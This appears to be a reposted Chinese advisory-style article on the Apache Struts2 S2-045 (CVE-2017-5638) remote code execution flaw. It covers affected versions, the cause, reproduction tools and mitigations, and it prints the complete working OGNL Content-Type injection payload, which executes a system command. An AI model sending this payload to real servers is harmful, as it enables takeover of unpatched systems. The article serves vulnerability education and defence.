Apache Struts2框架中的漏洞,特别是S2-045,是一个远程命令执行漏洞,编号S2-045,CVE编号CVE-2017-5638,以下是关于该漏洞的详细描述:
漏洞
漏洞名称:Struts2 S2-045远程代码执行漏洞
影响范围:struts2.3.5 – struts2.3.31, struts2.5 – struts2.5.10
漏洞类型:远程代码执行
漏洞级别:高危
漏洞详情
漏洞成因
1、基于Jakarta插件的文件上传功能:在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行的风险。
2、恶意构造Content-Type值:恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
漏洞利用
通过精心构造的HTTP请求包,攻击者可以绕过Struts2的安全限制,执行任意系统命令,使用以下POC(Proof of Concept)代码:
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())"
环境准备与复现步骤
1、搭建Docker环境及vulhub靶场:用于模拟漏洞环境。
2、使用Burp Suite抓包工具:抓取并修改HTTP请求包以触发漏洞。
防护措施
1、更新Struts2版本:将Struts2升级到最新版本,以修复已知漏洞。
2、限制OGNL表达式的使用:通过配置或代码限制OGNL表达式的使用,防止恶意构造的表达式被执行。
3、输入验证与过滤:对用户输入进行严格的验证和过滤,防止恶意数据进入系统。
注意事项
本漏洞具有极高的危险性,可导致黑客完全控制受影响的系统。
请在安全的测试环境中进行漏洞复现和防护措施的测试。
严禁使用本信息进行任何非法活动或未经授权的渗透测试。
Struts2 S2-045漏洞是一个严重的安全漏洞,需要网站管理员高度重视并及时采取防护措施。
各位小伙伴们,我刚刚为大家分享了有关struct漏洞的知识,希望对你们有所帮助。如果您还有其他相关问题需要解决,欢迎随时提出哦!
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/87917.html